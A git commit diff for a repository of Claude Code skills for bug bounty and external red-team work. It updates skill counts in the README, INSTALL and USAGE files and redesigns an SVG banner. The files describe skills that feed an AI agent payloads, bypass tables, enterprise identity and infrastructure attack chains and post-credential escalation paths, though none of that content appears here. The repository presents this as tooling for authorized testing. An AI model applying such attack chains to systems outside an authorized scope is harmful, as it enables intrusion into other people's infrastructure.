A Claude Code skill bundle for bug hunting and external red-team work - 82 skills, 15 slash commands, 681 disclosed-report patterns curated across 24 core vulnerability classes, plus enterprise identity + infrastructure attack matrices.
Python ai-securityanthropicapplication-securitybug-bountybugbountybugcrowdclaudeclaude-codeclaude-skillsethical-hackinghackeroneoffensive-securitypentestingred-teamsecurity-toolsweb-security
Phase 1: dedup + cross-link depth + disclosed-reports pattern libraries
Sachin Sharma5f3930057492
diff --git a/.gitignore b/.gitignoreindex fb47a3a..0decb3c 100644--- a/.gitignore+++ b/.gitignore@@ -28,6 +28,10 @@ scope.mdCLAUDE.md.localtargets/+# Local-only artifacts+.obsidian/+graphify-out/+# Secrets.env.env.localdiff --git a/INSTALL.md b/INSTALL.mdindex acb2137..a14158e 100644--- a/INSTALL.md+++ b/INSTALL.md@@ -27,7 +27,7 @@ chmod +x scripts/install.sh```This copies:-- All 54 skills → `~/.claude/skills/`+- All 51 skills → `~/.claude/skills/`- All 15 slash commands → `~/.claude/commands/`- The `hunt` shell command → `~/.claude/scripts/hunt.sh` (sourced from your `.zshrc` or `.bashrc` automatically)diff --git a/README.md b/README.mdindex 7e01b64..393fc6c 100644--- a/README.md+++ b/README.md@@ -2,7 +2,7 @@# claude-bughunter-> A self-contained Claude skill bundle for bug hunting and external red-team work · **54 skills** · 15 slash commands · **574+ disclosed-report patterns** across 27 vulnerability classes · enterprise identity + infrastructure attack matrices · engagement-folder scaffolding · Burp MCP integration · battle-tested through Bugcrowd financial-target work AND a paid external red-team engagement against an a large enterprise (May 2026).+> A self-contained Claude skill bundle for bug hunting and external red-team work · **51 skills** · 15 slash commands · **574+ disclosed-report patterns** across 24 vulnerability classes · enterprise identity + infrastructure attack matrices · engagement-folder scaffolding · Burp MCP integration · battle-tested through Bugcrowd financial-target work AND a paid external red-team engagement against an a large enterprise (May 2026).Built by **[ElementalSoul](https://github.com/elementalsouls)** — Bug Bounty & GenAI Security Research.@@ -15,13 +15,13 @@ Built by **[ElementalSoul](https://github.com/elementalsouls)** — Bug Bounty &Four layers stack:- **`bug-bounty` + `bb-methodology` + `redteam-mindset`** — *how to think.* 5-phase non-linear hunting workflow, critical-thinking framework, developer-psychology heuristics, anomaly detection patterns, and the red-team operator-discipline corrections (when scope is "external red team" not "bug bounty / WAPT").-- **27 `hunt-*` skills + `security-arsenal`** — *what to look for in webapps.* Per-class detection patterns, payloads, bypass tables, and chain templates curated from 574+ disclosed HackerOne reports.+- **24 `hunt-*` skills + `security-arsenal`** — *what to look for in webapps.* Per-class detection patterns, payloads, bypass tables, and chain templates curated from 574+ disclosed HackerOne reports.- **Enterprise platform attack chains** — *what to look for on the perimeter.* `m365-entra-attack`, `okta-attack`, `cloud-iam-deep`, `vmware-vcenter-attack`, `enterprise-vpn-attack`, `hunt-sharepoint`, `hunt-aspnet`, `hunt-ntlm-info`, `apk-redteam-pipeline`, `supply-chain-attack-recon` — current 2024-2026 CVE chains, AADSTS error references, version-fingerprint matrices, and post-credential escalation paths.- **`triage-validation` + `bugcrowd-reporting` + `evidence-hygiene` + `redteam-report-template` + `mid-engagement-ir-detection`** — *how to ship it.* 7-Question Gate, VRT category fallback, severity-request paragraphs, OOS rebuttals, cookie/PII redaction, client-facing red-team deliverable format, and SOC-patch / mid-engagement-attacker detection methodology.All triggered automatically by topic — describe what you're testing in plain English and the relevant skill loads. No invocation by name.-> **54 skills · 15 commands · 574+ disclosed reports curated · 6-phase workflow · validated through both a Bugcrowd financial-target engagement and a paid external red-team engagement (redacted-client, May 2026).**+> **51 skills · 15 commands · 574+ disclosed reports curated · 6-phase workflow · validated through both a Bugcrowd financial-target engagement and a paid external red-team engagement (redacted-client, May 2026).**---@@ -29,7 +29,7 @@ All triggered automatically by topic — describe what you're testing in plain E```Claude-BugHunter/-├── skills/ # 54 SKILL.md bundles+├── skills/ # 51 SKILL.md bundles│ ├── bug-bounty/SKILL.md # master orchestrator (vendored)│ ├── bb-methodology/SKILL.md # 5-phase workflow + mindset (vendored)│ ├── bb-local-toolkit/SKILL.md # full pipeline router@@ -60,7 +60,7 @@ Claude-BugHunter/│ ├── hunt-sharepoint/SKILL.md # SharePoint on-prem (ToolShell chain, anon SOAP)│ ├── hunt-aspnet/SKILL.md # ASP.NET ViewState, machineKey, WebForms│ ├── hunt-ntlm-info/SKILL.md # NTLM Type-2 AD topology disclosure-│ └── hunt-*/SKILL.md # 27 per-class web hunt skills+│ └── hunt-*/SKILL.md # 24 per-class web hunt skills├── commands/ # 15 slash commands├── scripts/│ ├── hunt.sh # engagement-folder scaffolder@@ -78,7 +78,7 @@ Drop the contents of `skills/` into `~/.claude/skills/` and Claude auto-triggers## Skill Index-54 skills across 10 capability domains. Each row maps a capability to the skill that codifies it.+51 skills across 10 capability domains. Each row maps a capability to the skill that codifies it.### Web Application Hunting@@ -210,7 +210,7 @@ Drop the contents of `skills/` into `~/.claude/skills/` and Claude auto-triggers## Architecture-54 skills across 6 phases, with a 27-skill `hunt-*` sub-stack, a 7-skill enterprise-platform attack layer (M365/Okta/cloud-IAM/vCenter/VPN/SharePoint/APK), an integration layer (Burp MCP, the `hunt` shell command, optional Anthropic + HackerOne APIs), and a usage decision tree for picking the right skill per task.+51 skills across 6 phases, with a 24-skill `hunt-*` sub-stack, a 7-skill enterprise-platform attack layer (M365/Okta/cloud-IAM/vCenter/VPN/SharePoint/APK), an integration layer (Burp MCP, the `hunt` shell command, optional Anthropic + HackerOne APIs), and a usage decision tree for picking the right skill per task.@@ -244,7 +244,7 @@ cd Claude-BugHunter./scripts/install.sh```-That copies all 54 skills to `~/.claude/skills/`, all 15 commands to `~/.claude/commands/`, and sources `hunt.sh` from your shell rc.+That copies all 51 skills to `~/.claude/skills/`, all 15 commands to `~/.claude/commands/`, and sources `hunt.sh` from your shell rc.### First engagement@@ -288,7 +288,7 @@ The bundle explicitly **excludes**: weaponizing 0-days against unauthorized targ| [`INSTALL.md`](INSTALL.md) | Full setup with Burp MCP integration and optional skill regenerator || [`USAGE.md`](USAGE.md) | Workflow walkthrough · decision tree · worked engagement example || [`docs/architecture.md`](docs/architecture.md) | 6-phase architecture · skill-to-phase mapping · engagement composition |-| [`docs/credits.md`](docs/credits.md) | Full attribution: 46 original skills + 8 vendored from upstream |+| [`docs/credits.md`](docs/credits.md) | Full attribution: 43 original skills + 8 vendored from upstream || [`CONTRIBUTING.md`](CONTRIBUTING.md) | PR guidelines · skill quality standards · scope || [`SECURITY.md`](SECURITY.md) | Authorized-use posture · responsible disclosure · what's excluded || [`LICENSE`](LICENSE) | MIT |@@ -316,7 +316,7 @@ This bundle was built and validated through two paid engagements that exposed di4. **No client-facing deliverable format** — bug-bounty report templates don't fit enterprise red-team where output is a 50KB+ MD + DOCX with embedded screenshots → `redteam-report-template`5. **No post-credential escalation model** — when recon yielded credentials (AWS keys, JWTs, GCP JSON), it was unclear what they granted or how to escalate → `cloud-iam-deep`-The 27 per-class `hunt-*` skills address gap-zero (*"what should I look for in webapps"*) by codifying patterns from 574+ disclosed HackerOne reports — Claude knows the actual chain templates real triagers paid for, not abstract OWASP Top 10. The enterprise-platform and red-team-tradecraft layers address what bug-bounty alone cannot: external red-team engagements against monitored enterprise targets.+The 24 per-class `hunt-*` skills address gap-zero (*"what should I look for in webapps"*) by codifying patterns from 574+ disclosed HackerOne reports — Claude knows the actual chain templates real triagers paid for, not abstract OWASP Top 10. The enterprise-platform and red-team-tradecraft layers address what bug-bounty alone cannot: external red-team engagements against monitored enterprise targets.---@@ -342,7 +342,7 @@ Operational tradecraft accumulated across bug-bounty engagements and authorized**Sister project:** [Claude-OSINT](https://github.com/elementalsouls/Claude-OSINT) — paired skills for the recon phase that this bundle picks up after.-**Vendored foundation:** [shuvonsec/claude-bug-bounty](https://github.com/shuvonsec/claude-bug-bounty) — methodology, validation, reporting, payload library (8 of 54 skills + 15 slash commands)+**Vendored foundation:** [shuvonsec/claude-bug-bounty](https://github.com/shuvonsec/claude-bug-bounty) — methodology, validation, reporting, payload library (8 of 51 skills + 15 slash commands)**Generator tool used (not vendored):** [shuvonsec/public-skills-builder](https://github.com/shuvonsec/public-skills-builder) — used to scaffold per-class skills from H1 disclosed reportsdiff --git a/USAGE.md b/USAGE.mdindex 6468141..9bf315e 100644--- a/USAGE.md+++ b/USAGE.md@@ -1,6 +1,6 @@# Claude-BugHunter — Usage Guide-A practical guide to using the 54-skill Claude-BugHunter bundle for bug hunting (bounty programs, authorized pentesting, CTFs, vuln research) **and external red-team engagements** against enterprise targets. This document covers what's in the bundle, how it composes, and how to use it on a real engagement from intake through paid bounty (or final client deliverable).+A practical guide to using the 51-skill Claude-BugHunter bundle for bug hunting (bounty programs, authorized pentesting, CTFs, vuln research) **and external red-team engagements** against enterprise targets. This document covers what's in the bundle, how it composes, and how to use it on a real engagement from intake through paid bounty (or final client deliverable).> Built and validated through two paid engagements: a Bugcrowd engagement on a major financial target (exposed four bug-bounty capability gaps), and an external red-team engagement against an a large enterprise (redacted-client, May 2026 — exposed five additional gaps around platform attack chains, mid-engagement IR detection, and client-facing reporting). The final stack documented here addresses both modes.@@ -18,7 +18,7 @@ The stack maps to a 6-phase bug-bounty workflow. Each phase has its own skill se|---|---|---|| **1. Scope** | Reading program rules, deciding what's in/out, scaffolding the engagement folder | `bug-bounty`, `bb-methodology`, `osint-methodology` + `hunt <target>` shell command || **2. Recon** | Asset discovery, subdomain enum, endpoint mapping, secret hunting | `offensive-osint`, `web2-recon`, `bb-local-toolkit` |-| **3. Hunt** | Active testing for bugs in specific vuln classes | 27 `hunt-*` skills + 7 enterprise-platform skills (M365/Okta/cloud-IAM/vCenter/VPN/SharePoint/APK) + `security-arsenal` |+| **3. Hunt** | Active testing for bugs in specific vuln classes | 24 `hunt-*` skills + 7 enterprise-platform skills (M365/Okta/cloud-IAM/vCenter/VPN/SharePoint/APK) + `security-arsenal` || **4. Validate** | Decide whether a lead is actually a reportable bug | `triage-validation` (7-Question Gate) via `/triage` or `/validate` || **5. Capture** | PoC screenshots, HAR files, evidence redaction | `evidence-hygiene` || **6. Report** | Draft and submit | `report-writing`, `bugcrowd-reporting` |@@ -27,7 +27,7 @@ See [docs/architecture.md](docs/architecture.md) for a more detailed breakdown.----## 2. Skill inventory (54 skills total)+## 2. Skill inventory (51 skills total)### Workflow skills — the spine of any engagement@@ -45,7 +45,7 @@ See [docs/architecture.md](docs/architecture.md) for a more detailed breakdown.| `web2-recon` | Subdomain enumeration, host discovery, URL crawling | "find all subdomains of X" || `bb-local-toolkit` | Router for local cloned bug-bounty repos | "which tool for X", refers to local stack |-### Hunt — 27 per-class web skills+### Hunt — 24 per-class web skillsEach focuses on one vulnerability class with detection patterns, payloads, bypass tables, and chain opportunities drawn from disclosed bug-bounty reports.@@ -256,7 +256,7 @@ Cross-reference this UUID in any chained submissions you file later.If another pentester wants to replicate this stack, the install steps are in [INSTALL.md](INSTALL.md). The short version:1. Clone this repo-2. Run `./scripts/install.sh` (installs all 54 skills, 15 commands, and hunt scaffold in one step)+2. Run `./scripts/install.sh` (installs all 51 skills, 15 commands, and hunt scaffold in one step)3. Set up Burp MCP (BApp Store extension + `claude mcp add burp ...`)4. (Optional) Refresh upstream snapshots via `./scripts/install-community-skills.sh`5. (Optional) Set up the skill regenerator with Anthropic + H1 API keysdiff --git a/assets/architecture-overview.svg b/assets/architecture-overview.svgindex 47b6f89..8dd0773 100644--- a/assets/architecture-overview.svg+++ b/assets/architecture-overview.svg@@ -1,6 +1,6 @@<svg viewBox="0 0 1200 880" xmlns="http://www.w3.org/2000/svg" role="img" aria-labelledby="title desc" preserveAspectRatio="xMidYMid meet" style="height: auto;"><title id="title" style="fill:rgb(0, 0, 0);stroke:none;color:rgb(255, 255, 255);stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;opacity:1;font-family:"Anthropic Sans", -apple-system, "system-ui", "Segoe UI", sans-serif;font-size:16px;font-weight:400;text-anchor:start;dominant-baseline:auto">Claude-BugHunter — architecture and usage</title>- <desc id="desc" style="fill:rgb(0, 0, 0);stroke:none;color:rgb(255, 255, 255);stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;opacity:1;font-family:"Anthropic Sans", -apple-system, "system-ui", "Segoe UI", sans-serif;font-size:16px;font-weight:400;text-anchor:start;dominant-baseline:auto">A 6-phase bug-bounty workflow (Scope, Recon, Hunt, Validate, Capture, Report) with 40 skills mapped to phases, a per-class hunt sub-stack, integration layer (Burp MCP, hunt shell command, Anthropic + H1 APIs), and a usage decision tree for picking the right skill per task.</desc>+ <desc id="desc" style="fill:rgb(0, 0, 0);stroke:none;color:rgb(255, 255, 255);stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;opacity:1;font-family:"Anthropic Sans", -apple-system, "system-ui", "Segoe UI", sans-serif;font-size:16px;font-weight:400;text-anchor:start;dominant-baseline:auto">A 6-phase bug-bounty workflow (Scope, Recon, Hunt, Validate, Capture, Report) with 51 skills mapped to phases, a per-class hunt sub-stack, integration layer (Burp MCP, hunt shell command, Anthropic + H1 APIs), and a usage decision tree for picking the right skill per task.</desc><defs><marker id="arr" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="7" markerHeight="7" orient="auto">@@ -11,7 +11,7 @@<!-- ==================== TITLE ==================== -->- <text x="24" y="28" style="fill:rgb(17, 24, 39);stroke:none;color:rgb(255, 255, 255);stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;opacity:1;font-family:system-ui, -apple-system, sans-serif;font-size:17px;font-weight:700;text-anchor:start;dominant-baseline:auto">Claude-BugHunter — 40 skills, 6-phase workflow</text>+ <text x="24" y="28" style="fill:rgb(17, 24, 39);stroke:none;color:rgb(255, 255, 255);stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;opacity:1;font-family:system-ui, -apple-system, sans-serif;font-size:17px;font-weight:700;text-anchor:start;dominant-baseline:auto">Claude-BugHunter — 51 skills, 6-phase workflow</text><text x="24" y="48" style="fill:rgb(107, 114, 128);stroke:none;color:rgb(255, 255, 255);stroke-width:1px;stroke-linecap:butt;stroke-linejoin:miter;opacity:1;font-family:system-ui, -apple-system, sans-serif;font-size:11px;font-weight:500;font-style:italic;text-anchor:start;dominant-baseline:auto">Each phase has a small set of skills. Skills compose left-to-right. Use the decision tree at the bottom to pick the right skill for a given task.</text><!-- ==================== PHASE BANDS (top row) ==================== -->diff --git a/assets/banner.svg b/assets/banner.svgindex 0b4328d..36757ab 100644--- a/assets/banner.svg+++ b/assets/banner.svg@@ -1,215 +1,340 @@<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1920 720" width="1920" height="720" role="img" aria-label="claude-bughunter — a Claude skill for offensive security tradecraft"><defs>- <radialGradient id="bg" cx="35%" cy="50%" r="80%">- <stop offset="0%" stop-color="#1B1A17"/>- <stop offset="60%" stop-color="#13110E"/>- <stop offset="100%" stop-color="#0A0907"/>+ <!-- Background: deep warm + soft radial glow on the hero -->+ <radialGradient id="bg" cx="32%" cy="50%" r="78%">+ <stop offset="0%" stop-color="#23201C"/>+ <stop offset="55%" stop-color="#14120F"/>+ <stop offset="100%" stop-color="#080705"/></radialGradient><radialGradient id="coralHalo" cx="50%" cy="50%" r="50%">- <stop offset="0%" stop-color="#DA7756" stop-opacity="0.55"/>- <stop offset="40%" stop-color="#DA7756" stop-opacity="0.18"/>+ <stop offset="0%" stop-color="#FFB591" stop-opacity="0.55"/>+ <stop offset="30%" stop-color="#DA7756" stop-opacity="0.32"/><stop offset="100%" stop-color="#DA7756" stop-opacity="0"/></radialGradient><radialGradient id="coreGlow">- <stop offset="0%" stop-color="#FFE4D1"/>- <stop offset="40%" stop-color="#FFB591"/>+ <stop offset="0%" stop-color="#FFFFFF"/>+ <stop offset="35%" stop-color="#FFE4D1"/>+ <stop offset="80%" stop-color="#FFB591"/><stop offset="100%" stop-color="#DA7756"/></radialGradient>+ <linearGradient id="rayShine" x1="50%" y1="0%" x2="50%" y2="100%">+ <stop offset="0%" stop-color="#FFE4D1"/>+ <stop offset="45%" stop-color="#FFB591"/>+ <stop offset="100%" stop-color="#DA7756"/>+ </linearGradient>++ <linearGradient id="titleGrad" x1="0%" y1="0%" x2="0%" y2="100%">+ <stop offset="0%" stop-color="#FFE4D1"/>+ <stop offset="100%" stop-color="#DA7756"/>+ </linearGradient>+<pattern id="grid" x="0" y="0" width="48" height="48" patternUnits="userSpaceOnUse"><path d="M48 0 H0 V48" fill="none" stroke="#2A2622" stroke-width="0.4" opacity="0.4"/></pattern>+ <pattern id="scanlines" x="0" y="0" width="3" height="3" patternUnits="userSpaceOnUse">+ <line x1="0" y1="0" x2="3" y2="0" stroke="#DA7756" stroke-width="0.3" opacity="0.06"/>+ </pattern>+<filter id="softGlow" x="-50%" y="-50%" width="200%" height="200%"><feGaussianBlur stdDeviation="3" result="b"/><feMerge><feMergeNode in="b"/><feMergeNode in="SourceGraphic"/></feMerge></filter>- <filter id="bigGlow" x="-100%" y="-100%" width="300%" height="300%">- <feGaussianBlur stdDeviation="14" result="b"/>+ <filter id="strongGlow" x="-100%" y="-100%" width="300%" height="300%">+ <feGaussianBlur stdDeviation="10" result="b"/><feMerge><feMergeNode in="b"/><feMergeNode in="SourceGraphic"/></feMerge></filter>- <!-- ============================================================ -->- <!-- Claude sunburst — the hero. True 8-ray Claude mark. -->- <!-- ============================================================ -->- <symbol id="claudeSunburst" viewBox="-220 -220 440 440">- <!-- 4 main rays (long, sharp) -->- <g fill="#DA7756">- <path d="M 0 -210 L 14 -32 L 0 -8 L -14 -32 Z"/>- <path d="M 0 210 L 14 32 L 0 8 L -14 32 Z"/>- <path d="M -210 0 L -32 -14 L -8 0 L -32 14 Z"/>- <path d="M 210 0 L 32 -14 L 8 0 L 32 14 Z"/>+ <!-- =================================================== -->+ <!-- HERO MARK: full Claude sunburst, big and dramatic -->+ <!-- =================================================== -->+ <symbol id="claudeSun" viewBox="-240 -240 480 480">+ <!-- 4 main rays, dual-shaded for shine -->+ <g>+ <!-- N -->+ <path d="M 0 -228 L 16 -34 L 0 -8 L -16 -34 Z" fill="url(#rayShine)"/>+ <!-- S -->+ <path d="M 0 228 L 16 34 L 0 8 L -16 34 Z" fill="url(#rayShine)"/>+ <!-- E -->+ <path d="M 228 0 L 34 -16 L 8 0 L 34 16 Z" fill="#DA7756"/>+ <!-- W -->+ <path d="M -228 0 L -34 -16 L -8 0 L -34 16 Z" fill="#DA7756"/></g>- <!-- 4 secondary rays (shorter, fatter — Claude's diamonds) -->+ <!-- 4 diagonal rays (Claude's diamond seconds) --><g fill="#DA7756">- <path d="M -130 -130 L -22 -10 L -8 -4 L -10 -22 Z"/>- <path d="M 130 -130 L 22 -10 L 8 -4 L 10 -22 Z"/>- <path d="M -130 130 L -22 10 L -8 4 L -10 22 Z"/>- <path d="M 130 130 L 22 10 L 8 4 L 10 22 Z"/>+ <path d="M -142 -142 L -24 -12 L -10 -4 L -12 -24 Z"/>+ <path d="M 142 -142 L 24 -12 L 10 -4 L 12 -24 Z"/>+ <path d="M -142 142 L -24 12 L -10 4 L -12 24 Z"/>+ <path d="M 142 142 L 24 12 L 10 4 L 12 24 Z"/></g>- <!-- Bright core -->- <circle cx="0" cy="0" r="11" fill="url(#coreGlow)"/>- <circle cx="0" cy="0" r="5" fill="#FFFFFF"/>+ <!-- Bright glowing core -->+ <circle r="22" fill="url(#coreGlow)" filter="url(#softGlow)"/>+ <circle r="10" fill="#FFFFFF"/></symbol>- <!-- Pinned bug specimen (small, used inside the reticle) -->- <symbol id="specimenBug" viewBox="-22 -22 44 44">- <g fill="#1B1A17" stroke="#DA7756" stroke-width="1" stroke-linejoin="round">+ <!-- =================================================== -->+ <!-- BUG TARGET: small reticle w/ a stag-beetle silhouette -->+ <!-- =================================================== -->+ <symbol id="bugTarget" viewBox="-36 -36 72 72">+ <!-- reticle ring -->+ <circle r="28" fill="#0A0907" stroke="#DA7756" stroke-width="1.4"/>+ <circle r="28" fill="none" stroke="#DA7756" stroke-width="0.4" opacity="0.5" stroke-dasharray="1 3"/>+ <!-- outer ticks -->+ <g stroke="#DA7756" stroke-width="1.2" stroke-linecap="round">+ <line x1="-34" y1="0" x2="-30" y2="0"/>+ <line x1="30" y1="0" x2="34" y2="0"/>+ <line x1="0" y1="-34" x2="0" y2="-30"/>+ <line x1="0" y1="30" x2="0" y2="34"/>+ </g>+ <!-- bug silhouette -->+ <g fill="#DA7756"><!-- mandibles -->- <path d="M -4 -10 Q -10 -14 -12 -8 Q -8 -8 -5 -7 Z"/>- <path d="M 4 -10 Q 10 -14 12 -8 Q 8 -8 5 -7 Z"/>+ <path d="M -3 -10 Q -7 -13 -10 -8 Q -6 -8 -4 -7 Z"/>+ <path d="M 3 -10 Q 7 -13 10 -8 Q 6 -8 4 -7 Z"/><!-- head -->- <ellipse cx="0" cy="-5" rx="4" ry="3.5"/>+ <ellipse cx="0" cy="-5" rx="3" ry="2.5"/><!-- thorax -->- <ellipse cx="0" cy="0" rx="5" ry="3"/>+ <ellipse cx="0" cy="0" rx="4" ry="2.5"/><!-- abdomen -->- <ellipse cx="0" cy="6" rx="6" ry="7"/>+ <ellipse cx="0" cy="5" rx="5" ry="6"/>+ </g>+ <!-- legs -->+ <g stroke="#DA7756" stroke-width="0.7" fill="none" stroke-linecap="round">+ <path d="M -4 -2 L -9 -4"/>+ <path d="M -4 1 L -10 1"/>+ <path d="M -4 4 L -9 6"/>+ <path d="M 4 -2 L 9 -4"/>+ <path d="M 4 1 L 10 1"/>+ <path d="M 4 4 L 9 6"/>+ </g>+ </symbol>++ <!-- A simpler "detected" marker (no full reticle, just crosshair) -->+ <symbol id="bugDetected" viewBox="-22 -22 44 44">+ <g stroke="#DA7756" stroke-width="1" stroke-linecap="round" opacity="0.85">+ <line x1="-18" y1="0" x2="-10" y2="0"/>+ <line x1="10" y1="0" x2="18" y2="0"/>+ <line x1="0" y1="-18" x2="0" y2="-10"/>+ <line x1="0" y1="10" x2="0" y2="18"/></g>- <!-- center seam -->- <line x1="0" y1="-2" x2="0" y2="13" stroke="#DA7756" stroke-width="0.6" opacity="0.6"/>- <!-- 6 thin legs -->- <g stroke="#DA7756" stroke-width="0.8" stroke-linecap="round" fill="none">- <path d="M -5 -2 L -10 -4"/>- <path d="M -5 1 L -11 1"/>- <path d="M -5 4 L -10 6"/>- <path d="M 5 -2 L 10 -4"/>- <path d="M 5 1 L 11 1"/>- <path d="M 5 4 L 10 6"/>+ <g fill="#DA7756">+ <ellipse cx="0" cy="-3" rx="2.5" ry="2"/>+ <ellipse cx="0" cy="0" rx="3" ry="2"/>+ <ellipse cx="0" cy="4" rx="4" ry="5"/></g></symbol></defs>- <!-- ============================== BACKGROUND ============================== -->+ <!-- ============================================================ -->+ <!-- BACKGROUND LAYERS -->+ <!-- ============================================================ --><rect width="1920" height="720" fill="url(#bg)"/><rect width="1920" height="720" fill="url(#grid)"/>+ <rect width="1920" height="720" fill="url(#scanlines)"/>++ <!-- Hero halo pulling focus to the sunburst -->+ <ellipse cx="500" cy="380" rx="700" ry="520" fill="url(#coralHalo)" opacity="0.85"/>- <!-- Subtle vignette that pulls focus to left-of-center -->- <ellipse cx="540" cy="380" rx="700" ry="500" fill="url(#coralHalo)" opacity="0.35"/>+ <!-- Horizon line (subtle perspective) -->+ <line x1="0" y1="380" x2="1920" y2="380" stroke="#DA7756" stroke-width="0.4" opacity="0.12"/><!-- Cinematic corner brackets -->- <g stroke="#DA7756" stroke-width="2" fill="none" opacity="0.85">- <path d="M 30 30 L 30 78 M 30 30 L 78 30"/>- <path d="M 1890 30 L 1890 78 M 1890 30 L 1842 30"/>- <path d="M 30 690 L 30 642 M 30 690 L 78 690"/>- <path d="M 1890 690 L 1890 642 M 1890 690 L 1842 690"/>+ <g stroke="#DA7756" stroke-width="2.2" fill="none">+ <path d="M 28 28 L 28 84 M 28 28 L 84 28"/>+ <path d="M 1892 28 L 1892 84 M 1892 28 L 1836 28"/>+ <path d="M 28 692 L 28 636 M 28 692 L 84 692"/>+ <path d="M 1892 692 L 1892 636 M 1892 692 L 1836 692"/></g>- <!-- ============================== TOP MICROTEXT ============================== -->- <g font-family="ui-monospace, 'SF Mono', Menlo, Consolas, monospace" font-size="11" letter-spacing="3">- <text x="58" y="56" fill="#807565">▸ CLAUDE SKILL · v1.0 · MIT</text>- <text x="1862" y="56" text-anchor="end" fill="#807565">github.com/elementalsouls/Claude-BugHunter</text>+ <!-- ============================================================ -->+ <!-- TOP MICROTEXT -->+ <!-- ============================================================ -->+ <g font-family="ui-monospace, 'SF Mono', Menlo, Consolas, monospace" font-size="11" letter-spacing="3.5">+ <text x="58" y="58" fill="#807565">▸ CLAUDE SKILL · v1.0 · MIT</text>+ <text x="370" y="58" fill="#807565">·</text>+ <text x="390" y="58" fill="#C5BEB0">HUNT-MODE ACTIVE</text>+ <text x="1862" y="58" text-anchor="end" fill="#807565">github.com/elementalsouls/Claude-BugHunter</text></g>- <!-- ============================== HERO: Claude sunburst ============================== -->- <g transform="translate(540, 380)">- <!-- Big halo behind -->- <circle r="320" fill="url(#coralHalo)"/>+ <!-- ============================================================ -->+ <!-- HUNT SCENE — left of center -->+ <!-- Sunburst @ (500, 380), bug targets arrayed around it. -->+ <!-- ============================================================ -->+ <g transform="translate(500, 380)">+ <!-- Big diffuse halo -->+ <circle r="350" fill="url(#coralHalo)"/>- <!-- Outer scan rings (subtle, hint at "scanning") -->- <g fill="none" stroke="#DA7756" opacity="0.35">- <circle r="270" stroke-width="0.8" stroke-dasharray="1 8"/>- <circle r="248" stroke-width="0.5" stroke-dasharray="1 4"/>- <circle r="228" stroke-width="0.4" opacity="0.2"/>+ <!-- Outer scanning rings -->+ <g fill="none" stroke="#DA7756">+ <circle r="290" stroke-width="0.6" opacity="0.35" stroke-dasharray="1 9"/>+ <circle r="262" stroke-width="0.4" opacity="0.25" stroke-dasharray="2 5"/>+ <circle r="240" stroke-width="0.3" opacity="0.18"/></g>- <!-- 4 cardinal scan ticks on the outer ring -->+ <!-- Outer cardinal scan ticks --><g stroke="#DA7756" stroke-width="2" stroke-linecap="round" opacity="0.7">- <line x1="0" y1="-275" x2="0" y2="-262"/>- <line x1="0" y1="262" x2="0" y2="275"/>- <line x1="-275" y1="0" x2="-262" y2="0"/>- <line x1="262" y1="0" x2="275" y2="0"/>+ <line x1="0" y1="-298" x2="0" y2="-282"/>+ <line x1="0" y1="282" x2="0" y2="298"/>+ <line x1="-298" y1="0" x2="-282" y2="0"/>+ <line x1="282" y1="0" x2="298" y2="0"/></g>- <!-- Sunburst -->- <use href="#claudeSunburst" x="-220" y="-220" width="440" height="440" filter="url(#softGlow)"/>-- <!-- =========== HUNT DETAIL =========== -->- <!-- A coral targeting beam extends from the SE diagonal ray to a captured bug. -->- <!-- Aim line -->- <line x1="120" y1="120" x2="200" y2="200" stroke="#DA7756" stroke-width="1" opacity="0.55" stroke-dasharray="2 4"/>-- <!-- Targeting reticle around the captured bug -->- <g transform="translate(225, 225)">- <circle r="34" fill="#0E0D0A" stroke="#DA7756" stroke-width="1.5"/>- <circle r="34" fill="none" stroke="#DA7756" stroke-width="0.5" opacity="0.5" stroke-dasharray="2 3"/>- <!-- crosshair ticks -->- <g stroke="#DA7756" stroke-width="1.5" stroke-linecap="round">- <line x1="-44" y1="0" x2="-37" y2="0"/>- <line x1="37" y1="0" x2="44" y2="0"/>- <line x1="0" y1="-44" x2="0" y2="-37"/>- <line x1="0" y1="37" x2="0" y2="44"/>- </g>- <!-- inner thin crosshair -->- <g stroke="#DA7756" stroke-width="0.5" opacity="0.5">- <line x1="-26" y1="0" x2="-12" y2="0"/>- <line x1="12" y1="0" x2="26" y2="0"/>- <line x1="0" y1="-26" x2="0" y2="-12"/>- <line x1="0" y1="12" x2="0" y2="26"/>- </g>- <!-- the captured bug -->- <use href="#specimenBug" x="-18" y="-18" width="36" height="36"/>- <!-- LOCKED label -->- <text x="0" y="58" text-anchor="middle" font-size="9" letter-spacing="3"- fill="#DA7756" font-weight="700"- font-family="ui-monospace, monospace">▸ LOCKED</text>+ <!-- ===== BEAMS from sunburst to each bug target ===== -->+ <!-- Targets array (8 hunts) -->+ <g stroke="#DA7756" stroke-width="1" stroke-linecap="round" opacity="0.55" stroke-dasharray="2 5">+ <!-- N --> <line x1="0" y1="0" x2="0" y2="-225"/>+ <!-- NE --> <line x1="0" y1="0" x2="195" y2="-150"/>+ <!-- E-up --> <line x1="0" y1="0" x2="305" y2="-55"/>+ <!-- E-dn --> <line x1="0" y1="0" x2="305" y2="55"/>+ <!-- SE --> <line x1="0" y1="0" x2="195" y2="150"/>+ <!-- S --> <line x1="0" y1="0" x2="0" y2="225"/>+ <!-- SW --> <line x1="0" y1="0" x2="-195" y2="150"/>+ <!-- W --> <line x1="0" y1="0" x2="-305" y2="0"/>+ <!-- NW --> <line x1="0" y1="0" x2="-195" y2="-150"/></g>+ <!-- ===== THE SUNBURST ===== -->+ <use href="#claudeSun" x="-180" y="-180" width="360" height="360" filter="url(#softGlow)"/>++ <!-- ===== BUG TARGETS w/ vuln labels ===== -->+ <!-- N: XSS -->+ <g transform="translate(0, -245)">+ <use href="#bugTarget" x="-26" y="-26" width="52" height="52"/>+ <text x="0" y="-38" text-anchor="middle" font-size="11" letter-spacing="2.5"+ font-family="ui-monospace, monospace" fill="#FFE4D1" font-weight="700">XSS</text>+ </g>+ <!-- NE: SQLi -->+ <g transform="translate(215, -165)">+ <use href="#bugTarget" x="-26" y="-26" width="52" height="52"/>+ <text x="0" y="-38" text-anchor="middle" font-size="11" letter-spacing="2.5"+ font-family="ui-monospace, monospace" fill="#FFE4D1" font-weight="700">SQLi</text>+ </g>+ <!-- E-up: RCE -->+ <g transform="translate(335, -60)">+ <use href="#bugTarget" 